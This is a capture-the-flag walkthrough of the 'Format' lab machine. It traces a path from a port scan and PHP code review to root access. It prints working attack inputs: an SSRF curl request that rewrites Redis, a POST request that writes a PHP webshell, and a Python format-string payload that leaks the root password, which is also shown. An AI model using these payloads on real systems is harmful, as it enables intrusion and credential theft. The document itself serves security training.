Format

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.86.64 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 03:41 EDT
Nmap scan report for 10.129.86.64
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

We have to add app.microblog.htb and microblog.htb to our /etc/hosts file to view port 80.

Microblog -> Blog Creation

Port 80 reveals a blogging service called Microblog:

At the bottom, it appears that the website creates new blogs by using new subdomains.

By clicking on Contrubute Here, we are redirected to port 3000 that hosts a Gitea instance with some source code:

Before going there, let's take a look at the rest of the website. After registering a user, it seems that we can 'create' a subdomain:

After creating one, we can edit it.

Going to the edit page reveals that we can use h1 or txt.

This would send a POST request to /edit/index.php:

POST /edit/index.php HTTP/1.1
Host: test.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://test.microblog.htb
Connection: close
Referer: http://test.microblog.htb/edit/
Cookie: username=1cl26pbf4ftqkk0s7i5ntv84iv
Upgrade-Insecure-Requests: 1



id=02nc8ktv0kk4&txt=test

Sunny Code Review -> LFI

When checking the application, it seems that we have a sunny subdomain.

Witin the sunny directory, it seems that there is an edit function. The PHP code for this is pretty long, so let's break it down:

$username = session_name("username");
session_set_cookie_params(0, '/', '.microblog.htb');
session_start();
if(file_exists("bulletproof.php")) {
    require_once "bulletproof.php";
}

if(is_null($_SESSION['username'])) {
    header("Location: /");
    exit;
}

This is standard session stuff, and it seems to use a bulletproof.php, which is an image uploader plugin.

The next part of the code seems to verify the users that owns a 'blog' and also checks if we are a Pro user. At the bottom of the code, there's a function that checks whether ourt user is 'Pro':

function checkUserOwnsBlog() {
    $redis = new Redis();
    $redis->connect('/var/run/redis/redis.sock');
    $subdomain = array_shift((explode('.', $_SERVER['HTTP_HOST'])));
    $userSites = $redis->LRANGE($_SESSION['username'] . ":sites", 0, -1);
    if(!in_array($subdomain, $userSites)) {
        header("Location: /");
        exit;
    }
}

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}


function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}

The Pro user is the target here, as it looks like command injection is possible. The last chunk of code has to do with the upload functions. Most of the functions are somewhat identical to each other, taking 2 POST parameters, with one being called id.

if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

In this case, it seems that the id parameter is directly passed into fopen, meaning this could be vulnerable to LFI. Earlier, we created a new blog which created a new subdomain, so let's test our vulnerability there and confirm that it works.

POST /edit/index.php HTTP/1.1
Host: test.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://test.microblog.htb
Connection: close
Referer: http://test.microblog.htb/edit/
Cookie: username=1cl26pbf4ftqkk0s7i5ntv84iv
Upgrade-Insecure-Requests: 1



id=/etc/passwd&header=test

This means that the code for new blogs are all the same. This means that the 'Pro' user portion is also present on our test blog. Also, it is worth noting that after a few minutes, our new blog and user is deleted from the browser as part of the cleanup script.

App Code Review -> Find Path

Let's take a look at the main site that is creating new subdomains.

function addSite($site_name) {
    if(isset($_SESSION['username'])) {
        //check if site already exists
        $scan = glob('/var/www/microblog/*', GLOB_ONLYDIR);
        $taken_sites = array();
        foreach($scan as $site) {
            array_push($taken_sites, substr($site, strrpos($site, '/') + 1));
        }
        if(in_array($site_name, $taken_sites)) {
            header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");
            exit;
        }
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $redis->LPUSH($_SESSION['username'] . ":sites", $site_name);
        chdir(getcwd() . "/../../../");
        system("chmod +w microblog");
        chdir(getcwd() . "/microblog/");
        if(!is_dir($site_name)) {
            mkdir($site_name, 0700);
        }
        system("cp -r /var/www/microblog-template/* /var/www/microblog/" . $site_name);
        if(is_dir($site_name)) {
            chdir(getcwd() . "/" . $site_name);
        }
        system("chmod +w content");
        chdir(getcwd() . "/../");
        system("chmod 500 " . $site_name);
        chdir(getcwd() . "/../");
        system("chmod -w microblog");
        header("Location: /dashboard?message=Site added successfully!&status=success");
    }
    else {
        header("Location: /dashboard?message=Site not added, authentication failed&status=fail");
    }
}

It seems that when the new site is created, it is writeable for a while. Not sure what to do with this though.

After looking through all the code, the 'Pro' user method seems to be the correct way. The ProUser method would allow us to use bulletproof.php to upload files, of which we can probably upload some kind of PHP reverse shell and execute it. Now, we need to find out how to manipulate the Redis database to make ourselves Pro.

Redis Manipulation -> RCE

While researching possible exploits, I found that it was possible to use SSRF to manipulate the Redis database.

It is possible to set our session using SSRF using the HSET command on Redis. We can test this out by using this:

curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:test123%20pro%20true%20a/b

Afterwards, if we create a website, we notice that we can upload Images:

Great! We are a Pro User and can upload files now. Since we are Pro, this chunk of code would be executed:

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}

This creates an /uploads directory and makes it writeable. This means that we can actually use the LFI to write a file. The reason this works is because of the code below:

$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);

The header parameter would have the contents of the PHP webshell, while the id parameter would have the full path of the file to be written since both are not sanitised. I used this HTTP request:

POST /edit/index.php HTTP/1.1
Host: test.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://test.microblog.htb
Connection: close
Referer: http://test.microblog.htb/edit/
Cookie: username=1cl26pbf4ftqkk0s7i5ntv84iv
Upgrade-Insecure-Requests: 1



id=/var/www/microblog/test/uploads/rev.php&txt=<%3fphp+system($_REQUEST['cmd'])%3b+%3f>

Afterwards, we can confirm we have RCE:

And then we can get a reverse shell:

Privilege Escalation

Pspy -> Cooper Creds

Within the machine, if we run pspy64, we would eventually see this:

We can use these credentials to access the user via ssh.

Format String -> Root Creds

When we check sudo privileges, we can see the user can run a Python script:

cooper@format:~$ sudo -l
[sudo] password for cooper: 
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
    
cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable

The script seems to do some stuff with Redis. First it checks whether the user is root, and some flags can be used. It does some string concatenation at the start too.

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()

if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

Afterwards, it connects to the Redis database and uses a secret password to do so:

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

The provision function is the longest, and it does quite a few things.

if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

It seems to take a username parameter and then it checks if the user exists. Afterwards, it seems to create a license key for the user. This uses the {license.license} string to do so.

The format() string function is vulnerable to a few attacks, and the name of the box means that this is the intended method for PrivEsc. This gives rise to Format String Vulnerabilities:

Perhaps we can use this to dump the secret variable that is used. Maybe that's a hash for the root user. First, we can create a new user called user123 on the website and login to Redis on the machine to view it (use the socket file!):

cooper@format:~$ redis-cli -s /run/redis/redis.sock 
redis /run/redis/redis.sock> INFO keyspace
# Keyspace
db0:keys=4,expires=1,avg_ttl=1422098
redis /run/redis/redis.sock> select 0
OK
redis /run/redis/redis.sock> keys *
1) "cooper.dooper:sites"
2) "user123"
3) "PHPREDIS_SESSION:1cl26pbf4ftqkk0s7i5ntv84iv"
4) "cooper.dooper"

Afterwards, when we run the license program, we get the License Key:

cooper@format:~$ sudo /usr/bin/license -p user123
                                                                                             
Plaintext license key:                                                                       
------------------------------------------------------
microbloguser123f2G^Um4L`])p=b\+sY$~|dZ|89xU/>;|S45tPM<Tuseruser

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYMlBQ1sk9EvGPaPlcepxtmQ6D8BtGYtNPEaZc9LNhpxA-LukIBYhtHwGtmhKpPXrfM29ncr8PwzAg1jXedSI61cT2BxMcE0iNDhx87fdoeUTDyy4uoOZ53QE9-NeDMwAUq6o2JjxAp29dFbPDC9cMBmrpVDNadtH_YyDCjuXa8LUEcY=

I first tried to use HSET to insert a user of our own choosing:

redis /run/redis/redis.sock> HSET testuser username testing username {self.__init__.__globals__} password {self.__init__.__globals__} first-name {self.__init__.__globals__} last-name {self.__init__.__globals__} pro false
(integer) 5

cooper@format:~$ sudo /usr/bin/license -ptestuser
Traceback (most recent call last):
  File "/usr/bin/license", line 65, in <module>
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
KeyError: 'self'

We can see that this is making an error occur within the script. We can see that the format() function uses license=l, so we can use that to dump the script's global context out:

redis /run/redis/redis.sock> HSET ee username {license.__init__.__globals__} password test first-name test last-name test pro false
(integer) 5

cooper@format:~$ sudo /usr/bin/license -p ee

Plaintext license key:
------------------------------------------------------
microblog{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7d64b4fc10>
<TRUNCATED>

Within this entire string is the root password of :unCR4ckaBL3Pa$$w0rd. We can then su to root.

Rooted!

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